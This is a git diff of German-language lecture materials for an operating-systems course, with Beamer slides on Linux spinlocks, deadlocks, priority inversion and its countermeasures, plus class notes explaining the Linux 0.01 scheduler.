+  Datei \file{linux-3.7-rc1/kernel/spinlock.h}, Zeile 170
+
+  \medskip
+
+  \begin{lstlisting}
+    #define raw_spin_lock(lock)  _raw_spin_lock (lock)
+  \end{lstlisting}
+  \begin{picture}(0,0)
+    \color{red}
+    \put(10.0,0.55){\line(-1,0){0.5}}
+    \put(10.0,0.55){\line(0,-1){1.7}}
+    \put(10.0,-1.15){\vector(-1,0){1.3}}
+  \end{picture}
+
+  \bigskip
+
+  Datei \file{linux-3.7-rc1/include/linux/spinlock\_api\_smp.h}, Zeile 47
+
+  \medskip
+
+  \begin{lstlisting}
+    #define _raw_spin_lock(lock)  __raw_spin_lock (lock)
+  \end{lstlisting}
+  \begin{picture}(0,0)
+    \color{red}
+    \put(10.7,0.55){\line(-1,0){0.5}}
+    \put(10.7,0.55){\line(0,-1){1.75}}
+    \put(10.7,-1.2){\vector(-1,0){2.3}}
+  \end{picture}
+
+  \bigskip
+
+  Datei \file{linux-3.7-rc1/kernel/spinlock.c}, ab Zeile 46 (expandiert):
+
+  \medskip
+
+  \begin{lstlisting}
+    void __lockfunc __raw_spin_lock (spinlock_t *lock)
+    {
+      for (;;)
+        {
+          preempt_disable ();
+          if (likely (do_raw_spin_trylock (lock)))
+            break;
+          preempt_enable ();
+
+          if (!(lock)->break_lock)
+            (lock)->break_lock = 1;
+          while (!raw_spin_can_lock (lock) && (lock)->break_lock)
+            arch_spin_relax (&lock->raw_lock);
+        }
+      (lock)->break_lock = 0;
+    }
+  \end{lstlisting}
+  \begin{picture}(0,0)
+    \color{red}
+    \put(10.7,4.75){\line(-1,0){3.5}}
+    \put(10.7,4.75){\line(0,-1){5.95}}
+    \put(10.7,-1.2){\vector(-1,0){1.1}}
+  \end{picture}
+
+  \bigskip
+
+  Datei \file{linux-3.7-rc1/include/linux/spinlock.h}, ab Zeile 150:
+
+  \medskip
+
+  \begin{lstlisting}
+    static inline int do_raw_spin_trylock (raw_spinlock_t *lock)
+    {
+      return arch_spin_trylock (&(lock)->raw_lock);
+    }
+  \end{lstlisting}
+  \begin{picture}(0,0)
+    \color{red}
+    \put(11.5,0.95){\line(-1,0){3.5}}
+    \put(11.5,0.95){\line(0,-1){2.1}}
+    \put(11.5,-1.15){\vector(-1,0){0.7}}
+  \end{picture}
+
+  \bigskip
+
+  Datei \file{arch/x86/include/asm/spinlock.h}, ab Zeile 116:
+
+  \medskip
+
+  \begin{lstlisting}
+    static __always_inline int arch_spin_trylock (arch_spinlock_t *lock)
+    {
+      return __ticket_spin_trylock (lock);
+    }
+  \end{lstlisting}
+  \begin{picture}(0,0)
+    \color{red}
+    \put(9.5,0.95){\line(-1,0){3.5}}
+    \put(9.5,0.95){\vector(0,-1){1.7}}
+  \end{picture}
+
+  \bigskip
+
+  Datei \file{arch/x86/include/asm/spinlock.h}, ab Zeile 65:
+
+  \medskip
+
+  \begin{lstlisting}
+    static __always_inline int __ticket_spin_trylock (arch_spinlock_t *lock)
+    {
+      arch_spinlock_t old, new;
+
+      old.tickets = ACCESS_ONCE (lock->tickets);
+      if (old.tickets.head != old.tickets.tail)
+        return 0;
+
+      new.head_tail = old.head_tail + (1 << TICKET_SHIFT);
+
+      /* cmpxchg is a full barrier, so nothing can move before it */
+      return cmpxchg (&lock->head_tail, old.head_tail, new.head_tail) == old.head_tail;
+    }
+  \end{lstlisting}
+  \begin{picture}(0,0)
+    \color{red}
+    \put(2.2,0.3){\line(0,1){0.4}}
+    \put(9.0,0.3){\line(-1,0){6.8}}
+    \put(9.0,0.3){\line(0,-1){1.45}}
+    \put(9.0,-1.15){\vector(-1,0){3.2}}
+  \end{picture}
+
+  \bigskip
+
+  Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 147:
+
+  \medskip
+
+  \begin{lstlisting}
+    #define cmpxchg(ptr, old, new) \
+      __cmpxchg (ptr, old, new, sizeof (*(ptr)))
+  \end{lstlisting}
+  \begin{picture}(0,0)
+    \color{red}
+    \put(9.0,0.5){\line(-1,0){1.8}}
+    \put(9.0,0.5){\line(0,-1){1.65}}
+    \put(9.0,-1.15){\vector(-1,0){2.2}}
+  \end{picture}
+
+  \bigskip
+
+  Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 131:
+
+  \medskip
+
+  \begin{lstlisting}
+    #define __cmpxchg(ptr, old, new, size) \
+      __raw_cmpxchg ((ptr), (old), (new), (size), LOCK_PREFIX)
+  \end{lstlisting}
+  \begin{picture}(0,0)
+    \color{red}
+    \put(2.2,-0.1){\line(0,1){0.3}}
+    \put(9.0,-0.1){\line(-1,0){6.8}}
+    \put(9.0,-0.1){\line(0,-1){1.05}}
+    \put(9.0,-1.15){\vector(-1,0){2.2}}
+  \end{picture}
+
+  \bigskip
+
+  Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 110:
+
+  \medskip
+
+  \begin{lstlisting}
+    asm volatile (lock "cmpxchgl %2,%1" \
+                  : "=a" (__ret), "+m" (*__ptr) \
+                  : "r" (__new), "0" (__old) \
+                  : "memory");
+  \end{lstlisting}
+  \begin{picture}(0,0)
+    \color{red}
+    \put(9.8,1.8){\vector(-1,0){0.6}}
+    \put(9.8,1.2){\line(0,1){0.6}}
+    \put(9.8,1.1){\makebox(0,0)[t]{\shortstack{atomarer und exklusiver\\Zugriff auf Spinlock\\durch Hardware-Unterstützung}}}
+  \end{picture}
+
+\end{frame}
+
+\setlength{\pdfpageheight}{\normalpdfpageheight}
+
+%\sectionnonumber{Literaturempfehlung}
+%\subsectionnonumber{Automotive Embedded Systeme}
+%
+%\begin{frame}[c]
+%
+%  \showsectionnonumber
+%
+%  Prof.\ Dr.\ Joachim Wietzke, FH Darmstadt,\\
+%  Prof.\ Dr.\ Manh Tien Tran, FH Kaiserslautern:
+%
+%  \medskip
+%
+%  \showsubsectionnonumber
+%
+%  \vspace{-\medskipamount}
+%
+%  Springer-Verlag, Berlin, Heidelberg 2005
+%
+%  \bigskip
+%
+%  Lizenz: proprietär
+%
+%  \medskip
+%
+%  (gesetzt mit \textrm{\LaTeX}, ca.\ \EUR{10})
+%
+%\end{frame}
+
+\begin{frame}
+
+  \showsection
+  \showsubsection
+
+  Ressourcen reservieren
+  \begin{itemize}
+    \item
+      \newterm{Semaphor}\\
+      gemeinsame Variable mehrerer Prozesse\\
+      zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount]
+      Ressource belegt \textarrow\ Kontextwechsel
+    \medskip
+    \item
+      \newterm{Mutex}\\
+      Mechanismus, damit immer nur ein Prozeß gleichzeitig\\
+      auf eine Ressource zugreifen kann
+    \medskip
+    \item
+      \newterm{Spinlock} (\emph{busy waiting\/})\\
+      leichtgewichtige Alternative zu Kontextwechsel
+    \medskip
+    \item
+      \newterm{Kritischer Abschnitt -- critical section}\\
+      Programmabschnitt zwischen Reservierung\\
+      und Freigabe einer Ressource\\
+      \textarrow\ sollte immer so kurz wie möglich sein
+  \end{itemize}
+
+\end{frame}
+
+\begin{frame}
+
+  \showsection
+  \showsubsection
+
+  \begin{picture}(0,0)
+    \only<2-3>{\put(6.3,-7){\includegraphics[height=6cm]{philosophenproblem.jpg}}}
+  \end{picture}%
+  \newterm{Verklemmungen\/}: Gegenseitiges Blockieren von Ressourcen
+  \begin{itemize}
+    \item
+      \newterm{Deadlock\/}: Prozeß wartet
+    \item
+      \newterm{Livelock\/}: Prozeß macht andere Dinge\\
+      (z.\,B.\ \emph{busy waiting\/})
+  \end{itemize}
+
+  \pause
+  \bigskip
+
+  Beispiel: Philosophenproblem
+
+  \only<2-3>{%
+    \begin{itemize}
+      \item
+        5 Philosophen, 5 Gabeln
+      \item
+        2 Gabeln zum Essen notwendig
+      \item
+        Wer essen will, nimmt eine Gabel\\
+        und wartet notfalls auf die zweite.
+      \item
+        Keiner legt eine einzelne Gabel\\
+        wieder zurück.
+    \end{itemize}
+    Jeder hält 1 Gabel \textarrow\ \newterm{Verklemmung}\\[0.5\smallskipamount]
+    \pause
+    \strut\quad schweigen \textarrow\ \newterm{Deadlock}\\
+    \strut\quad philosophieren weiter \textarrow\ \newterm{Livelock}\\[-1cm]
+  }
+  \only<4->{%
+    \bigskip
+
+    Bedingungen für Verklemmungen:
+
+    \begin{minipage}[t]{4.5cm}
+      \begin{itemize}
+        \item
+          Exklusivität
+        \item
+          \newterm{hold and wait}
+        \item
+          Entzug nicht möglich
+        \item
+          zirkuläre Blockade
+      \end{itemize}
+    \end{minipage}\pause[5]
+    \begin{minipage}[t]{7.5cm}
+      \begin{itemize}
+        \arrowitem
+          Spooling
+        \arrowitem
+          simultane Zuteilung
+        \arrowitem
+          Prozesse suspendieren, beenden, \newterm{Rollback}
+        \arrowitem
+          Reihenfolge abhängig von Ressourcen
+      \end{itemize}
+    \end{minipage}
+  }
+
+\end{frame}
+
+\subsection{Prioritäten}
+
+\begin{frame}
+
+  \showsection
+  \showsubsection
+
+  Linux 0.01
+  \begin{itemize}
+    \item
+      Timer-Interrupt: Zähler des aktuellen Prozesses wird dekrementiert;\\
+      Prozeß mit höchstem Zähler bekommt Rechenzeit.
+    \item
+      Wenn es keinen laufbereiten Prozeß mit positivem Zähler gibt,\\
+      bekommen alle Prozesse gemäß ihrer \newterm{Priorität\/} neue Zähler zugewiesen.
+    \item
+      \emph{keine\/} harte Echtzeit
+    \arrowitem
+      \newterm{dynamische Prioritätenvergabe\/}:\\
+      Rechenzeit hängt vom Verhalten des Prozesses ab
+  \end{itemize}
+
+  \medskip
+
+  Echtzeitbetriebssysteme
+  \begin{itemize}
+    \item
+      Prozesse können einen festen Anteil an Rechenzeit bekommen.
+    \item
+      Bei Ereignissen können Prozesse hoher Priorität\\
+      Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt.
+    \arrowitem
+      \newterm{statische Prioritätenvergabe}
+  \end{itemize}
+
+\end{frame}
+
+\begin{frame}
+
+  \showsection
+  \showsubsection
+
+  Echtzeitbetriebssysteme
+  \begin{itemize}
+    \item
+      Prozesse können einen festen Anteil an Rechenzeit bekommen.
+    \item
+      Bei Ereignissen können Prozesse hoher Priorität\\
+      Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt.
+  \end{itemize}
+
+  \vspace{0cm plus 1filll}
+
+  \begin{center}
+    \begin{picture}(11,4)(-1,0)
+      \small
+
+      \put(-0.1,0.5){\vector(1,0){10.1}}
+      \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
+      \put(0,0.4){\vector(0,1){3.6}}
+      \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
+
+      \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
+      \put(3,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
+      \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}}
+      \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
+      \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
+      \put(0,3){\line(1,0){10}}
+
+      \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
+      \put(1.5,1){{\color{lightgreen}\rule{1.5cm}{0.4cm}}}
+      \put(3.7,1){{\color{lightgreen}\rule{0.6cm}{0.4cm}}}
+      \alt<1>{%
+        \put(7.9,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}}
+      }{%
+        \put(8.1,1){{\color{lightgreen}\rule{0.9cm}{0.4cm}}}
+      }
+      \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
+      \put(0,1){\line(1,0){10}}
+
+      \pause
+
+      \put(4.6,2){{\color{lightyellow}\rule{0.4cm}{0.4cm}}}
+      \put(5.7,2){{\color{lightyellow}\rule{1.3cm}{0.4cm}}}
+      \put(7.7,2){{\color{lightyellow}\rule{0.4cm}{0.4cm}}}
+      \put(0,2){\line(1,0){10}}
+
+    \end{picture}
+  \end{center}
+
+\end{frame}
+
+\subsectionnonumber{Prioritäten \protect\color{darkgray}und Ressourcen}
+
+\begin{frame}
+
+  \showsection
+  \showsubsection
+
+  \only<4->{%
+    Der höher priorisierte Prozeß bewirkt selbst,\\
+    daß er eine Ressource verspätet bekommt.
+
+    \medskip
+
+    \textarrow\ \newterm{begrenzte Prioritätsinversion}
+
+    \medskip
+
+    maximale Verzögerung: Länge des kritischen Bereichs
+  }
+
+  \vspace{0cm plus 1filll}
+
+  \begin{center}
+    \begin{picture}(11,4)(-1,0)
+      \small
+
+      \put(-0.1,0.5){\vector(1,0){10.1}}
+      \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
+      \put(0,0.4){\vector(0,1){3.6}}
+      \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
+
+      \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
+      \only<1-2>{\put(3,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}}
+      \only<3->{\put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}}
+      \only<3-4>{%
+        \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}}
+        \put(4.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}}
+        {\thicklines
+        \put(3.3,2.95){\line(2,1){1.0}}
+        \put(3.3,3.45){\line(2,-1){1.0}}}
+      }
+      \only<5->{%
+        \put(3.9,3){{\color{red}\rule{0.8cm}{0.4cm}}}
+        \put(4.7,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}}
+      }
+      \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}}
+      \only<1-2>{%
+        \put(5.4,3){{\color{red}\rule{0.8cm}{0.4cm}}}
+        \put(6.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}}
+      }
+      \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
+      \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
+      \put(0,3){\line(1,0){10}}
+
+      \only<2->{%
+        \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
+        \put(1.5,1){{\color{lightgreen}\rule{1.5cm}{0.4cm}}}
+        \put(2.6,1){{\color{medgreen}\rule{0.4cm}{0.4cm}}}
+        \only<2-4>{%
+          \put(3.7,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}}
+          \put(4.2,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
+        }
+        \only<5->{%
+          \put(3.4,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}}
+          \put(4.9,1){{\color{lightgreen}\rule{0.1cm}{0.4cm}}}
+          \put(5.6,1){{\color{lightgreen}\rule{0.2cm}{0.4cm}}}
+        }
+        \put(7.7,1){{\color{lightgreen}\rule{1.3cm}{0.4cm}}}
+        \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
+        \put(0,1){\line(1,0){10}}
+      }
+    \end{picture}
+  \end{center}
+
+\end{frame}
+
+\begin{frame}
+
+  \showsection
+  \showsubsection
+
+  \visible<4->{%
+    Ein Prozeß mit mittlerer Priorität bewirkt,
+    daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
+
+    \medskip
+
+  \textarrow\ }\newterm{unbegrenzte Prioritätsinversion}
+
+  \pause
+  \vspace{0cm plus 1filll}
+
+  \begin{center}
+    \begin{picture}(11,4)(-1,0)
+      \small
+
+      \put(-0.1,0.5){\vector(1,0){10.1}}
+      \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
+      \put(0,0.4){\vector(0,1){3.6}}
+      \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
+
+      \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
+      \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}
+      \only<2>{%
+        \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}}
+        \put(4.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}}
+        {\thicklines
+        \put(3.3,2.95){\line(2,1){1.0}}
+        \put(3.3,3.45){\line(2,-1){1.0}}}
+        \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}}
+        \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
+        \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
+      }
+      \put(0,3){\line(1,0){10}}
+
+      \only<2->{%
+        \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
+        \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}}
+        \alt<1-4>{%
+          \put(2.6,1){{\color{medgreen}\rule{0.4cm}{0.4cm}}}
+        }{%
+          \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}}
+        }
+        \only<2>{%
+          \put(3.7,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}}
+          \put(4.2,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
+        }
+        \only<3-4>{%
+          \put(3.4,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}}
+%          \put(3.9,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
+        }
+        \only<2>{%
+          \put(7.7,1){{\color{lightgreen}\rule{1.3cm}{0.4cm}}}
+          \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}}
+        }
+        \put(0,1){\line(1,0){10}}
+      }
+
+      \only<5->{%
+        \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}}
+        \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}}
+        \put(0,2){\line(1,0){10}}
+      }
+    \end{picture}
+  \end{center}
+
+\end{frame}
+
+\begin{frame}
+
+  \showsection
+  \showsubsection
+
+  Ein Prozeß mit mittlerer Priorität bewirkt,
+  daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
+
+  \medskip
+
+  \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
+
+  \medskip
+
+  Beispiel: Beinahe-Verlust der Marssonde \emph{Pathfinder\/} im Juli 1997
+
+  \only<1>{%
+    \begin{center}
+      \includegraphics[width=8.5cm]{pathfinder.jpg}
+      \vspace*{-1.5cm}
+    \end{center}
+  }
+
+  \bigskip
+
+  \only<2>{%
+    Gegenmaßnahmen
+    \begin{itemize}
+      \item
+        \newterm{Priority Inheritance -- Prioritätsvererbung}\\
+        Der Besitzer des Mutex erbt die Priorität\\
+        des Prozesses, der auf den Mutex wartet.
+    \end{itemize}
+
+    \bigskip
+
+    \begin{minipage}{7.0cm}
+      \begin{flushright}
+        \url{http://research.microsoft.com/en-us/\\um/people/mbj/Mars\_Pathfinder/}
+      \end{flushright}
+    \end{minipage}
+
+    \vspace{-0.2cm}\strut\hfill\makebox(0,0)[br]{\includegraphics[height=2.7cm]{pathfinder.jpg}}\vspace*{-1cm}
+  }
+
+\end{frame}
+
+\begin{frame}
+
+  \showsection
+  \showsubsection
+
+  Ein Prozeß mit mittlerer Priorität bewirkt,
+  daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
+
+  \medskip
+
+  \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
+
+  \bigskip
+
+  Gegenmaßnahme: \newterm{Priority Inheritance -- Prioritätsvererbung}
+
+  \vspace{0cm plus 1filll}
+
+  \begin{center}
+    \begin{picture}(11,4)(-1,0)
+      \small
+
+      \put(-0.1,0.5){\vector(1,0){10.1}}
+      \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
+      \put(0,0.4){\vector(0,1){3.6}}
+      \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
+
+      \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
+      \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}}
+      \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}}
+      \put(0,1){\line(1,0){10}}
+
+      \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}}
+      \only<1-2>{%
+        \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}}
+      }
+      \put(0,2){\line(1,0){10}}
+
+      \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
+      \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}
+      \put(0,3){\line(1,0){10}}
+
+      \only<2>{%
+        \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}}
+        {\thicklines
+        \put(3.3,2.95){\line(2,1){1.0}}
+        \put(3.3,3.45){\line(2,-1){1.0}}}
+      }
+
+      \only<3->{%
+        \put(3.4,3){{\color{medgreen}\rule{0.7cm}{0.4cm}}}
+        \put(4.1,3){{\color{red}\rule{0.8cm}{0.4cm}}}
+        \put(5.7,2){{\color{lightyellow}\rule{1.3cm}{0.4cm}}}
+        \put(4.9,3){{\color{lightorange}\rule{0.8cm}{0.4cm}}}
+        \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
+        \put(7.5,2){{\color{lightyellow}\rule{1.5cm}{0.4cm}}}
+        \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
+        \put(9.7,2){{\color{lightyellow}\rule{0.3cm}{0.4cm}}}
+      }
+    \end{picture}
+  \end{center}
+
+\end{frame}
+
+\begin{frame}
+
+  \showsection
+  \showsubsection
+
+  Ein Prozeß mit mittlerer Priorität bewirkt,
+  daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
+
+  \medskip
+
+  \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
+
+  \bigskip
+
+  Gegenmaßnahme: \newterm{Priority Ceiling -- Prioritätsobergrenze}
+
+  \vspace{0cm plus 1filll}
+
+  \begin{center}
+    \begin{picture}(11,4)(-1,0)
+      \small
+
+      \put(-0.1,0.5){\vector(1,0){10.1}}
+      \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
+      \put(0,0.4){\vector(0,1){3.6}}
+      \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
+
+      \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
+      \put(1.5,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}}
+%      \only<1>{%
+%        \put(2.6,1){{\color{medgreen}\rule{0.2cm}{0.4cm}}}
+%      }
+      \put(0,1){\line(1,0){10}}
+
+%      \only<1>{%
+%        \put(2.8,2){{\color{lightyellow}\rule{0.2cm}{0.4cm}}}
+%        \put(3.4,2){{\color{lightyellow}\rule{6.6cm}{0.4cm}}}
+%      }
+      \put(0,2){\line(1,0){10}}
+
+      \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
+%      \only<1>{%
+%        \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}
+%      }
+      \put(0,3){\line(1,0){10}}
+
+%      \only<2>{%
+%      \only<2>{%
+        \put(2.6,3){{\color{medgreen}\rule{0.9cm}{0.4cm}}}
+        \put(3.5,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}
+        \put(3.9,3){{\color{red}\rule{0.8cm}{0.4cm}}}
+        \put(4.7,3){{\color{lightorange}\rule{0.8cm}{0.4cm}}}
+        \put(5.5,2){{\color{lightyellow}\rule{1.5cm}{0.4cm}}}
+        \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
+        \put(7.5,2){{\color{lightyellow}\rule{1.5cm}{0.4cm}}}
+        \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
+        \put(9.7,2){{\color{lightyellow}\rule{0.3cm}{0.4cm}}}
+%      }
+    \end{picture}
+  \end{center}
+
+\end{frame}
+
+\begin{frame}
+
+  \showsection
+  \showsubsection
+
+  Ein Prozeß mit mittlerer Priorität bewirkt,
+  daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt.
+
+  \medskip
+
+  \textarrow\ \newterm{unbegrenzte Prioritätsinversion}
+
+  \medskip
+
+  Beispiel: Beinahe-Verlust der Marssonde \emph{Pathfinder\/} im Juli 1997
+
+  \bigskip
+
+  Gegenmaßnahmen
+  \begin{itemize}
+    \item
+      \newterm{Priority Inheritance -- Prioritätsvererbung}\\
+      Der Besitzer des Mutex erbt die Priorität\\
+      des Prozesses, der auf den Mutex wartet.
+    \smallskip
+    \item
+      \newterm{Priority Ceiling -- Prioritätsobergrenze}\\
+      Der Besitzer des Mutex bekommt sofort\\
+      die Priorität des höchstmöglichen Prozesses,\\
+      der evtl.\ den Mutex benötigen könnte.
+      \pause
+      \begin{picture}(0,0)
+        \put(1.2,1.45){\makebox(0,0)[l]{$\left\}\rule{0pt}{1.7cm}\right.$
+          \begin{minipage}{4cm}
+            nur möglich, wenn\\
+            Mutexe im Spiel sind
+          \end{minipage}}}
+      \end{picture}
+    \smallskip
+    \pause
+    \item
+      \newterm{Priority Aging}\\
+      Die Priorität wächst mit der Wartezeit.
+  \end{itemize}
+  \vspace*{-1cm}
+
+\end{frame}
+
+\end{document}
diff --git a/20210625/logo-hochschule-bochum-cvh-text.pdf b/20210625/logo-hochschule-bochum-cvh-text.pdf
new file mode 120000
index 0000000000000000000000000000000000000000..a05946126bc0ce6a2818740da2893f59eb0c659c
--- /dev/null
+++ b/20210625/logo-hochschule-bochum-cvh-text.pdf
@@ -0,0 +1 @@
+../common/logo-hochschule-bochum-cvh-text.pdf
\ No newline at end of file
diff --git a/20210625/logo-hochschule-bochum.pdf b/20210625/logo-hochschule-bochum.pdf
new file mode 120000
index 0000000000000000000000000000000000000000..b6b9491e370e499c9276918182cdb82cb311bcd1
--- /dev/null
+++ b/20210625/logo-hochschule-bochum.pdf
@@ -0,0 +1 @@
+../common/logo-hochschule-bochum.pdf
\ No newline at end of file
diff --git a/20210625/pathfinder.jpg b/20210625/pathfinder.jpg
new file mode 120000
index 0000000000000000000000000000000000000000..23c6444fee26e0cf0dd2f8639484b00aa5021b59
--- /dev/null
+++ b/20210625/pathfinder.jpg
@@ -0,0 +1 @@
+../common/pathfinder.jpg
\ No newline at end of file
diff --git a/20210625/pgslides.sty b/20210625/pgslides.sty
new file mode 120000
index 0000000000000000000000000000000000000000..5be1416f4216f076aa268901f52a15d775e43f64
--- /dev/null
+++ b/20210625/pgslides.sty
@@ -0,0 +1 @@
+../common/pgslides.sty
\ No newline at end of file
diff --git a/20210625/philosophenproblem.jpg b/20210625/philosophenproblem.jpg
new file mode 120000
index 0000000000000000000000000000000000000000..26591b2ac2dddfd4786814baf3f19ecb67f1f5ee
--- /dev/null
+++ b/20210625/philosophenproblem.jpg
@@ -0,0 +1 @@
+../common/philosophenproblem.jpg
\ No newline at end of file
diff --git a/20210625/rp6.jpg b/20210625/rp6.jpg
new file mode 100644
index 0000000000000000000000000000000000000000..1695afb690b4fb78878236a1efd0d5c6328370f4
Binary files /dev/null and b/20210625/rp6.jpg differ
diff --git a/20210702/bs-20210702.txt b/20210702/bs-20210702.txt
new file mode 100644
index 0000000000000000000000000000000000000000..fd6949f826daba63232dc2decd38fb5f01b597ea
--- /dev/null
+++ b/20210702/bs-20210702.txt
@@ -0,0 +1,116 @@
+Scheduler des Linux-0.01-Kernels, 02.07.2021, 11:39:30
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Aufgabe: Welcher Task kommt als nächster an die Reihe?
+
+Tabelle von Structs: task_struct
+Datenfelder:
+ - state: Will dieser Task überhaupt Rechenzeit haben?
+ - counter: aktuelle (dynamische) Priorität des Tasks
+ - priority: Priorität des Tasks
+
+p ist ein Zeiger auf Zeiger von task_structs,
+  also ein Array von Zeigern auf task_structs.
+
+Task Nr. 0 ist der "idle task".
+
+p wird so initialisiert, daß er auf dem ersten Eintrag des
+  task-Arrays zeigt, der nicht mehr(!) zum Array gehört.
+In der Schleife wird dann als erstes --i und --p ausgeführt.
+
+Das innere "if" wird nur ausgeführt, wenn der Zeiger(!) "*p"
+kein NULL-Zeiger ist.
+
+  int counter[n] = { ... };
+  int c = -1;
+  for (int i = 0; i < n; i++)
+    if (counter[i] > c)
+      c = counter[i];
+
+--> c hat den Wert des Maximums aller counter[i].
+
+Was bewirkt das Komma in der Zeile "c = (*p)->counter, next = i;"?
+--> Komma-Operator: "a,b" bedeutet: "berechne a, vergiß es wieder,
+    und berechne stattdessen b."
+    Nur sinnvoll in Kombination mit Seiteneffekten!
+    "c = (*p)->counter" ist ein Ausdruck mit dem Wert "(*p)->counter"
+    und dem Seiteneffekt, daß dieser Wert der Variablen c zugewiesen wird.
+
+Andere Schreibweise für die innere Schleife:
+
+  while (i >= 1)
+    {
+      i--;
+      p--;
+      if (*p)
+        if ((*p)->state == TASK_RUNNING && (*p)->counter > c)
+          {
+            c = (*p)->counter;
+            next = i;
+          }
+    }
+
+Nach der inneren while-Schleife enthält
+next die Nummer des Tasks mit der höchsten Priorität (counter)
+und c den counter dieses Tasks (also die höchste Priorität selbst)
+
+Sobald alle counter abgelaufen sind, bekommen sie
+in der for-Schleife neue Werte zugewiesen
+gemäß der jeweiligen Priorität der Tasks.
+Tasks, die nicht TASK_RUNNING sind, können noch counter > 0 haben
+und bekommen die Priorität zusätzlich darauf addiert.
+--> Der Counter kann über alle Maßen wachsen. (Oder????;-)
+Nein, denn der "angesparte" Counter wird vorher halbiert (">> 1").
+--> Der Counter kann bis zu einem gewissen Maximum wachsen
+    (dem Doppelten der Priorität des Tasks).
+--> Durch Abwarten kann ein Task Rechenzeit ansparen.
+    Wenn er dann doch läuft, hat er direkt hohe Priorität.
+--> Sinnvoll für interaktive Programme (z.B. Editor).
+
+--> Dynamische Prioritätenvergabe (nicht echtzeitfähig)
+
+Signal, 02.07.2021, 13:35:22
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Messenger mit Ende-zu-Ende-Verschlüsselung
+
+Freie Software (Client und Server)
+zentrale Infrastruktur
+Signal Foundation betreibt zentrale Server
+
